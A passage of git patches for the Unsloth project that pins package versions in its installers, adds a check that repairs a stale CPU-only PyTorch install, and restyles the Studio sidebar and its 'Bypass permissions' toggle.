-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.5" "unsloth>=2026.6.7" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index 759d87e0b0..f80d9b63b2 100755
--- a/install.sh
+++ b/install.sh
@@ -2485,7 +2485,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.7" unsloth-zoo
+            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2498,7 +2498,7 @@ if [ "$_MIGRATED" = true ]; then
     else
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.7" unsloth-zoo
+            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2702,7 +2702,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.7" unsloth-zoo
+            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2720,7 +2720,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo
+            --upgrade-package unsloth "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2752,7 +2752,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.5" "unsloth>=2026.6.7" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."

From 0d81a6055c7ea1cc88d80ab8a6be439c25b93d1f Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 08:48:38 -0700
Subject: [PATCH 78/91] Studio: square off the sidebar profile button hover so
 it isn't a pill (#6443)

Switch the sidebar profile button from rounded-full to rounded-[5px] so its hover background is a rounded rectangle instead of a pill. The collapsed icon-only state stays circular. Styling only.
---
 studio/frontend/src/components/app-sidebar.tsx | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 1f8424ee64..e15b3a0bdf 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -1286,7 +1286,7 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-full group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[5px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar

From ecbb64b492395775424652d7760688fe50bc095a Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 08:53:38 -0700
Subject: [PATCH 79/91] Studio: polish Bypass permissions toggle and add it to
 chat menu settings (#6442)

* Studio: polish Bypass permissions toggle and add it to chat menu settings

- Recolor the pill, menu item and settings caption from alarm red to a
  bright yellow accent via a new --bypass token (light and dark).
- Use the shield icon on the composer pill (X on hover, like other pills).
- Expand the composer to two rows the moment Bypass permissions is on.
- Keep Bypass leftmost among tool pills; Compare still sits ahead of it.
- Add a Bypass permissions row to Settings > Chat menu so it can be pinned.
- Widen the "More" submenu so the label fits on one line.

* Studio: use shield-ban icon and lighten the Bypass permissions pill

- Swap the lucide shield-off icon for the Hugeicons shield-ban across the
  pill, menu item and settings row.
- Lighten the pill background and deepen the yellow text a touch so the
  label stays readable on a near-white tint.

* Studio: drop the Bypass permissions resting fill, keep it on hover

Show only the yellow icon and label at rest; the rounded hover pill picks
up the yellow accent like the other toggles.

* Studio: lighten the Bypass permissions hover fill

Drop the hover tint so the yellow label stays readable on hover.

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
---
 .../src/components/assistant-ui/thread.tsx    | 25 ++++++++----
 .../chat/bypass-permissions-menu-item.tsx     | 12 +++---
 .../src/features/chat/chat-settings-sheet.tsx | 10 ++---
 .../src/features/chat/shared-composer.tsx     | 40 ++++++++++++-------
 .../src/features/settings/tabs/chat-tab.tsx   | 12 ++++++
 studio/frontend/src/index.css                 | 19 +++++++--
 6 files changed, 82 insertions(+), 36 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index a65a157707..f719af975e 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -125,6 +125,7 @@ import {
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
+  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
@@ -1247,6 +1248,7 @@ const Composer: FC<{
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
   // More than 4 pills: collapse to icons only. Search and Code always show;
   // Images, RAG, Canvas and MCP are conditional.
   const pillsCompact =
@@ -1368,6 +1370,8 @@ const Composer: FC<{
   }, [composerText, draftKey]);
   // Two-row layout shows once the input wraps or a tool is on. Tools can
   // pre-select before a model loads, so an active toggle expands it either way.
+  // Bypass permissions counts too: turning it on should drop the composer into
+  // the two-row layout immediately, same as Search/Code.
   const composerExpanded =
     isMultiline ||
     hasAttachments ||
@@ -1377,7 +1381,8 @@ const Composer: FC<{
     imageToolsEnabled ||
     ragEnabled ||
     artifactsEnabled ||
-    mcpEnabledForChat;
+    mcpEnabledForChat ||
+    bypassPermissions;
   // react-textarea-autosize re-measures only on value change or window resize,
   // not on the width swap from expanding, so it keeps the taller height and
   // leaves a stray blank row. Nudge a resize whenever input width changes.
@@ -2430,7 +2435,7 @@ const ArtifactsToggle: FC = () => {
   );
 };
 
-// Red pill shown while Bypass Permissions is on; click to turn it off.
+// Claude gold pill shown while Bypass permissions is on; click to turn it off.
 // Mirror of shared-composer's badge so both composers surface the state.
 const BypassPermissionsToggle: FC = () => {
   const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
@@ -2445,11 +2450,17 @@ const BypassPermissionsToggle: FC = () => {
       className="composer-pill-btn"
       data-active="true"
       data-variant="danger"
-      aria-label="Disable Bypass Permissions"
-      title="Bypass Permissions is on (no confirmation, no sandbox). Click to turn off."
+      aria-label="Disable Bypass permissions"
+      title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
     >
-      <XIcon className="size-3" />
-      <span>Bypass Permissions</span>
+      <PillGlyph>
+        <HugeiconsIcon
+          icon={ShieldBanIcon}
+          strokeWidth={2}
+          className="size-[15px]"
+        />
+      </PillGlyph>
+      <span>Bypass permissions</span>
     </button>
   );
 };
@@ -2959,7 +2970,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
               <MoreHorizontalIcon className="size-4" />
               More
             </DropdownMenuSubTrigger>
-            <DropdownMenuSubContent className="unsloth-plus-menu w-[232px]">
+            <DropdownMenuSubContent className="unsloth-plus-menu w-[248px]">
               {overflowPlusItems.map((id) => (
                 <Fragment key={id}>{plusMenuNodes[id]}</Fragment>
               ))}
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
index 824d946d06..2f61d07a52 100644
--- a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -1,9 +1,9 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { ShieldOffIcon } from "lucide-react";
 import { useState } from "react";
 
+import { ShieldBanIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 import {
@@ -35,7 +35,7 @@ export function BypassPermissionsMenuItem() {
     <>
       <DropdownMenuItem
         className={
-          bypassPermissions ? "text-destructive font-medium" : undefined
+          bypassPermissions ? "text-bypass font-medium" : undefined
         }
         onSelect={(e) => {
           if (bypassPermissions) {
@@ -46,8 +46,8 @@ export function BypassPermissionsMenuItem() {
           }
         }}
       >
-        <ShieldOffIcon />
-        Bypass Permissions
+        <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
+        Bypass permissions
         {bypassPermissions ? (
           <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
         ) : null}
@@ -55,9 +55,9 @@ export function BypassPermissionsMenuItem() {
       <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
         <AlertDialogContent size="sm">
           <AlertDialogHeader>
-            <AlertDialogTitle>Enable Bypass Permissions?</AlertDialogTitle>
+            <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
             <AlertDialogDescription>
-              Bypass Permissions is dangerous since the AI model might delete,
+              Bypass permissions is dangerous since the AI model might delete,
               corrupt your machine, and or cause real world damage to you or the
               world - only accept if you are certain
             </AlertDialogDescription>
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index b10c50262d..a4115d58bb 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -1762,7 +1762,7 @@ function ConfirmToolCallsToggle() {
         </div>
         {bypassPermissions ? (
           <span className="text-[11px] text-muted-foreground">
-            Overridden by Bypass Permissions
+            Overridden by Bypass permissions
           </span>
         ) : null}
       </div>
@@ -1788,7 +1788,7 @@ function BypassPermissionsToggle() {
       <div className="flex items-center justify-between gap-3">
         <div className="flex min-w-0 items-center gap-1.5">
           <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-            Bypass Permissions
+            Bypass permissions
           </span>
           <InfoHint>
             Dangerous. Runs every tool call with no confirmation and disables
@@ -1806,16 +1806,16 @@ function BypassPermissionsToggle() {
         />
       </div>
       {bypassPermissions ? (
-        <span className="text-[11px] text-destructive">
+        <span className="text-[11px] text-bypass">
           Tool calls run with no confirmation and no sandbox.
         </span>
       ) : null}
       <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
         <AlertDialogContent size="sm">
           <AlertDialogHeader>
-            <AlertDialogTitle>Enable Bypass Permissions?</AlertDialogTitle>
+            <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
             <AlertDialogDescription>
-              Bypass Permissions is dangerous since the AI model might delete,
+              Bypass permissions is dangerous since the AI model might delete,
               corrupt your machine, and or cause real world damage to you or the
               world - only accept if you are certain
             </AlertDialogDescription>
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 8ad355344c..13aaba11d5 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -47,6 +47,7 @@ import {
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
+  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { useNavigate } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -1593,7 +1594,7 @@ export function SharedComposer({
                     <MoreHorizontalIcon className="size-4" />
                     More
                   </DropdownMenuSubTrigger>
-                  <DropdownMenuSubContent className="unsloth-plus-menu w-[232px]">
+                  <DropdownMenuSubContent className="unsloth-plus-menu w-[248px]">
                     {overflowPlusItems.map((id) => (
                       <Fragment key={id}>{plusMenuNodes[id]}</Fragment>
                     ))}
@@ -1616,6 +1617,29 @@ export function SharedComposer({
             </PillGlyph>
             <span>Compare</span>
           </button>
+          {/* Bypass sits immediately after Compare and ahead of every other
+              tool pill (Search, Code, ...) so the active danger state reads
+              first; only Compare outranks it. */}
+          {bypassPermissions && (
+            <button
+              type="button"
+              onClick={() => setBypassPermissions(false)}
+              className="composer-pill-btn"
+              data-active="true"
+              data-variant="danger"
+              aria-label="Disable Bypass permissions"
+              title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
+            >
+              <PillGlyph>
+                <HugeiconsIcon
+                  icon={ShieldBanIcon}
+                  strokeWidth={2}
+                  className="size-[15px]"
+                />
+              </PillGlyph>
+              <span>Bypass permissions</span>
+            </button>
+          )}
           <button
             type="button"
             disabled={searchDisabled}
@@ -1731,20 +1755,6 @@ export function SharedComposer({
             </button>
           ) : null}
           {mcpEnabledForChat ? <McpComposerButton side="top" /> : null}
-          {bypassPermissions && (
-            <button
-              type="button"
-              onClick={() => setBypassPermissions(false)}
-              className="composer-pill-btn"
-              data-active="true"
-              data-variant="danger"
-              aria-label="Disable Bypass Permissions"
-              title="Bypass Permissions is on (no confirmation, no sandbox). Click to turn off."
-            >
-              <XIcon className="size-3" />
-              <span>Bypass Permissions</span>
-            </button>
-          )}
         </div>
         {/* mr-0.5 matches the send button inset from the edge in normal chat;
             gap-1.5 matches its control spacing. */}
diff --git a/studio/frontend/src/features/settings/tabs/chat-tab.tsx b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
index 8a832a3bc4..3b46308bb1 100644
--- a/studio/frontend/src/features/settings/tabs/chat-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
@@ -43,6 +43,7 @@ import {
   Folder01Icon,
   McpServerIcon,
   PencilRulerIcon,
+  ShieldBanIcon,
   Upload01Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -130,6 +131,17 @@ const PLUS_MENU_SETTINGS: { id: PlusMenuItemId; label: string; icon: ReactNode }
         />
       ),
     },
+    {
+      id: "bypassPermissions",
+      label: "Bypass permissions",
+      icon: (
+        <HugeiconsIcon
+          icon={ShieldBanIcon}
+          strokeWidth={2}
+          className={PLUS_MENU_ICON_CLASS}
+        />
+      ),
+    },
   ];
 
 export function ChatTab() {
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index 42b8bca35f..32733c6ad7 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -129,6 +129,8 @@
 	--accent: oklch(0.9596 0.0275 167.8295);
 	--accent-foreground: oklch(0.2868 0.0649 159.9823);
 	--destructive: oklch(0.6368 0.2078 25.3313);
+	/* Bypass permissions accent: bright, saturated yellow (not dark gold). */
+	--bypass: #c99d00;
 	--border: oklch(0.9208 0.0101 164.8536);
 	--input: oklch(0.9208 0.0101 164.8536);
 	--ring: #17b88b;
@@ -251,6 +253,8 @@
 	--accent: #3a3d43;
 	--accent-foreground: #ececee;
 	--destructive: oklch(0.6368 0.2078 25.3313);
+	/* Bypass permissions accent: bright, saturated neon yellow on dark. */
+	--bypass: #ffd60a;
 	/* --border / --input one step lighter than --muted so outlines and form
 	   borders stay visible on muted surfaces (right config panel, export
 	   tiles, quant chips) and keep subtle contrast on card. */
@@ -344,6 +348,7 @@
 	--color-input: var(--input);
 	--color-border: var(--border);
 	--color-destructive: var(--destructive);
+	--color-bypass: var(--bypass);
 	--color-accent-foreground: var(--accent-foreground);
 	--color-accent: var(--accent);
 	--color-muted-foreground: var(--muted-foreground);
@@ -1047,10 +1052,18 @@
 	.composer-pill-btn[data-active="true"] {
 		color: var(--primary);
 	}
-	/* Bypass Permissions badge: red, always-visible active warning. */
+	/* Bypass permissions badge: bright yellow text, no resting fill; the
+	   rounded hover pill picks up the yellow accent like other toggles. */
 	.composer-pill-btn[data-variant="danger"] {
-		@apply bg-destructive/10 hover:bg-destructive/15;
-		color: var(--destructive);
+		background-color: transparent;
+		color: var(--bypass);
+	}
+	.composer-pill-btn[data-variant="danger"]:hover {
+		background-color: color-mix(in oklab, var(--bypass) 7%, transparent);
+	}
+	/* Match the hover-X circle to the yellow accent instead of the green primary. */
+	.composer-pill-btn[data-variant="danger"] .composer-pill-x {
+		background-color: color-mix(in oklab, var(--bypass) 13%, transparent);
 	}
 
 	/* With more than 4 tools on, drop pill labels to icons only to cut clutter.

From a65672d94752f20ca00762b65a78cbcae47e0600 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 08:57:17 -0700
Subject: [PATCH 80/91] Installer: repair stale/CPU-only PyTorch and warn on
 silent CPU fallback (NVIDIA + AMD, Win/Linux/Mac/WSL) (#5942)

* Windows installer: repair a stale CPU PyTorch instead of looping forever

A Windows machine with an NVIDIA CUDA 13 driver (e.g. RTX 6000 Pro on enterprise
drivers) could get permanently stuck at:

  Stale venv detected (torch cpu != required cu130).
  [ERROR] The existing Studio environment needs repair.
          Re-run install.ps1 so it can replace the environment safely with rollback.

Re-running install.ps1 did not help. install.ps1 installs torch with
"torch>=2.4,<2.11.0" --index-url .../cu130 but no --force-reinstall, so when a
torch==X+cpu is already present uv treats it as satisfying the range (PEP 440
ignores the +cpu/+cuXXX local label) and makes no change -- the CPU wheel is
never replaced. setup.ps1 then rejects the venv as cpu != cu130 and exits, but it
cannot create a venv or install torch, so the loop never resolves. The migrated-
venv branch also preserves existing torch and never reinstalls it.

After the install step, detect the installed torch flavor (cuXXX/cpu/rocm) and,
when it does not match the tag implied by the selected index, force-reinstall the
torch/torchvision/torchaudio triplet from the correct index via three
--reinstall-package flags. No-op on a healthy matching venv; skipped for
--no-torch, ROCm (already --force-reinstalls), and CPU-only machines.

Adds two pure helpers (ConvertTo-TorchFlavorTag, Get-ExpectedTorchFlavorTag), a
PowerShell unit test (tests/studio/test_torch_flavor.ps1), and a CI parse gate for
install.ps1 (previously unparsed).

* install.sh: repair a stale CPU PyTorch on Linux too (parity with install.ps1)

install.sh has the same latent bug as the Windows installer: the CUDA torch
install uses "torch>=2.4,<2.11.0" --index-url .../cuXXX with no
--force-reinstall, so an already-present torch==X+cpu satisfies the version
range (PEP 440 ignores the +cpu/+cuXXX local label) and uv leaves it in place.
The migrated-venv branch also preserves existing torch. Unlike Windows there is
no stale-venv check in setup.sh, so on Linux the symptom is silent CPU training
rather than a hard loop -- same root cause.

Mirror the install.ps1 fix: after the install block, detect the installed torch
flavor (_torch_flavor_tag) and, when it does not match the index tag
(_expected_torch_flavor_tag), force-reinstall the torch/torchvision/torchaudio
triplet from the selected index via --reinstall-package. No-op on a healthy
matching venv; skipped for --no-torch, ROCm (its own repair force-reinstalls),
and CPU-only / macOS hosts. Adds tests/sh/test_torch_flavor.sh (run in
studio-backend-ci and run_all.sh).

* Installer: catch CPU-fallback on AMD/WSL too (repair ROCm, warn when unfixable)

Extend the torch-flavor safety net beyond NVIDIA:

- install.sh now auto-repairs a stale CPU torch on standard pytorch.org ROCm
  indexes too (the rocm-index install path lacked --force-reinstall, unlike the
  Windows ROCm install). Reuses the rocm-adjusted $TORCH_CONSTRAINT + rocm index,
  so it pulls the correct ROCm wheels.
- Both installers gain a universal post-install warning: when a GPU build was
  expected (cuXXX / rocm, including the repo.amd.com gfx* arch indexes) but torch
  is still CPU-only, warn loudly instead of silently training on CPU. This catches
  the cases auto-repair cannot safely fix (AMD gfx arch indexes that need
  --find-links, a migrated AMD venv on Windows where the ROCm install was skipped).
- Mac / Intel / CPU-only hosts resolve to the cpu index -> expected == installed
  -> no-op, no false warning. WSL uses install.sh, so the NVIDIA repair + warning
  apply there.

Adds Get-InstalledTorchTag (ps1) and _torch_index_repairable (sh) helpers and
extends both unit tests. gfx*/AMD indexes now map to the 'rocm' expected flavor.

* Installer: tighten torch-flavor comments (no logic change)

Condense the rationale comments added for the stale/CPU PyTorch repair in
install.ps1, install.sh and the two helper unit tests; same intent, fewer
lines. Comment-only: AST parse of install.ps1/setup.ps1 clean, helper unit
tests (15 ps1, 24 sh under bash and dash) and the integration sims
(24 ps1, 28 sh) still pass, banner markers the sims slice on are unchanged.

* Installer: bound torch probe, auto-repair gfx, fix ROCm gate parity

install.ps1: in Get-InstalledTorchTag, call WaitForExit(30000) and drain stdout
and stderr asynchronously instead of reading stdout synchronously first, so a
hung or noisy "import torch" (a wedged CUDA/driver, the exact failure this PR
targets) can no longer block the probe past the timeout.

install.sh and install.ps1: treat the repo.amd.com gfx* indexes as plain
--index-url reinstallable. They are PEP 503 simple indexes uv resolves in full
(torch plus every transitive dep) via --index-url, the same URLs the fresh
ROCm install paths already use, so a stale CPU torch on AMD Strix now auto-repairs
to the correct ROCm build instead of only warning.

install.sh: include */gfx* alongside */rocm* in the bitsandbytes install and
ROCm torch repair gates, so a custom UNSLOTH_AMD_ROCM_MIRROR whose path lacks
/rocm/ still installs the AMD bitsandbytes build and repairs ROCm torch.

tests/sh/test_torch_flavor.sh: gfx indexes now assert repairable, plus a
gfx1151 case and an unknown-mirror not-repairable case.

* install.ps1: guard Get-InstalledTorchTag against an empty python path

Make the early return explicit for an empty $PythonExe instead of relying on
Test-Path -LiteralPath '' returning false, so the probe stays safe under
Set-StrictMode or a future refactor that drops the [string] annotation.
---
 .github/workflows/studio-backend-ci.yml       |   3 +-
 .../studio-windows-inference-smoke.yml        |  19 ++--
 install.ps1                                   | 102 ++++++++++++++++++
 install.sh                                    |  80 +++++++++++++-
 tests/run_all.sh                              |   1 +
 tests/sh/test_torch_flavor.sh                 |  68 ++++++++++++
 tests/studio/test_torch_flavor.ps1            |  52 +++++++++
 7 files changed, 313 insertions(+), 12 deletions(-)
 create mode 100755 tests/sh/test_torch_flavor.sh
 create mode 100644 tests/studio/test_torch_flavor.ps1

diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index 88c7344683..b394b308e4 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -224,7 +224,8 @@ jobs:
               tests/sh/test_mac_intel_compat.sh \
               tests/sh/test_nvcc_meets_llama_minimum.sh \
               tests/sh/test_tauri_install_exit_order.sh \
-              tests/sh/test_torch_constraint.sh; do
+              tests/sh/test_torch_constraint.sh \
+              tests/sh/test_torch_flavor.sh; do
               echo "::group::$s"
               bash "$s"
               echo "::endgroup::"
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index a772a6d102..a6f1401067 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -65,17 +65,20 @@ jobs:
         with:
           persist-credentials: false
 
-      # Fast GPU-free gate: parse setup.ps1 and run the Resolve-CudaToolkit unit
-      # test (deferred Windows CUDA Toolkit check) before the heavy GGUF smoke.
-      - name: setup.ps1 unit test (Resolve-CudaToolkit)
+      # Fast GPU-free gate: parse install.ps1 + setup.ps1 and run the PowerShell
+      # unit tests (CUDA-toolkit + torch-flavor helpers) before the heavy GGUF smoke.
+      - name: PowerShell installer unit tests
         shell: pwsh
         run: |
-          $errs = $null
-          [void][System.Management.Automation.Language.Parser]::ParseFile(
-            (Resolve-Path studio/setup.ps1).Path, [ref]$null, [ref]$errs)
-          if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 }
-          Write-Host "setup.ps1 parsed with no errors"
+          foreach ($f in @('install.ps1', 'studio/setup.ps1')) {
+            $errs = $null
+            [void][System.Management.Automation.Language.Parser]::ParseFile(
+              (Resolve-Path $f).Path, [ref]$null, [ref]$errs)
+            if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 }
+            Write-Host "$f parsed with no errors"
+          }
           pwsh -NoProfile -File tests/studio/test_resolve_cuda_toolkit.ps1
+          pwsh -NoProfile -File tests/studio/test_torch_flavor.ps1
 
       - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
         with:
diff --git a/install.ps1 b/install.ps1
index cbb736b371..47851ed92e 100644
--- a/install.ps1
+++ b/install.ps1
@@ -1903,6 +1903,64 @@ exit 0
         substep "could not determine CUDA version from nvidia-smi, defaulting to cu126" "Yellow"
         return "$baseUrl/cu126"
     }
+
+    # ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ──
+    # torch.__version__ -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu,
+    # matching setup.ps1's stale-venv parse.
+    function ConvertTo-TorchFlavorTag {
+        param([string]$TorchVersion)
+        if (-not $TorchVersion) { return $null }
+        if ($TorchVersion -match '\+(cu\d+)') { return $Matches[1] }
+        if ($TorchVersion -match '\+rocm')    { return 'rocm' }
+        if ($TorchVersion -match '\+cpu')     { return 'cpu' }
+        return 'cpu'
+    }
+
+    # Expected tag from the index leaf: cuXXX / cpu / rocm ($ROCmIndexUrl or a
+    # gfx* leaf -> rocm). $null on an unknown leaf (odd mirror) so repair no-ops.
+    function Get-ExpectedTorchFlavorTag {
+        param([string]$TorchIndexUrl, [string]$ROCmIndexUrl)
+        if (-not [string]::IsNullOrWhiteSpace($ROCmIndexUrl)) { return 'rocm' }
+        if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return $null }
+        $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
+        if ($leaf -match '^cu\d+$') { return $leaf }
+        if ($leaf -eq 'cpu')        { return 'cpu' }
+        if ($leaf -match '^rocm')   { return 'rocm' }
+        if ($leaf -match '^gfx')    { return 'rocm' }
+        return $null
+    }
+
+    # Installed torch flavor tag in $PythonExe's venv, or $null if absent. Uses
+    # ProcessStartInfo (not &) so stderr doesn't trip $ErrorActionPreference.
+    function Get-InstalledTorchTag {
+        param([string]$PythonExe)
+        if (-not $PythonExe -or -not (Test-Path -LiteralPath $PythonExe)) { return $null }
+        try {
+            $psi = New-Object System.Diagnostics.ProcessStartInfo
+            $psi.FileName = $PythonExe
+            $psi.Arguments = '-c "import torch; print(torch.__version__)"'
+            $psi.RedirectStandardOutput = $true
+            $psi.RedirectStandardError = $true
+            $psi.UseShellExecute = $false
+            $psi.CreateNoWindow = $true
+            $proc = [System.Diagnostics.Process]::Start($psi)
+            # Drain BOTH streams async, then WaitForExit. A synchronous ReadToEnd()
+            # before the wait would block forever if a wedged "import torch" never
+            # closes stdout; leaving the redirected stderr undrained would deadlock a
+            # child that floods it past the pipe buffer. Async reads let a noisy-but-
+            # exiting probe finish, while a truly hung one still hits the 30s timeout
+            # and is killed -- bounded either way.
+            $outTask = $proc.StandardOutput.ReadToEndAsync()
+            $errTask = $proc.StandardError.ReadToEndAsync()
+            $finished = $proc.WaitForExit(30000)
+            if (-not $finished) { try { $proc.Kill() } catch {}; return $null }
+            $torchVer = $outTask.GetAwaiter().GetResult().Trim()
+            [void]$errTask.GetAwaiter().GetResult()
+            if ($proc.ExitCode -ne 0 -or -not $torchVer) { return $null }
+            return ConvertTo-TorchFlavorTag $torchVer
+        } catch { return $null }
+    }
+
     $TorchIndexUrl = Get-TorchIndexUrl
 
     # ── GPU arch → newest compatible Windows ROCm wheel release ──
@@ -2149,6 +2207,50 @@ exit 0
         }
     }
 
+    # ── Enforce the installed torch flavor matches the detected GPU build ──
+    # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv
+    # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
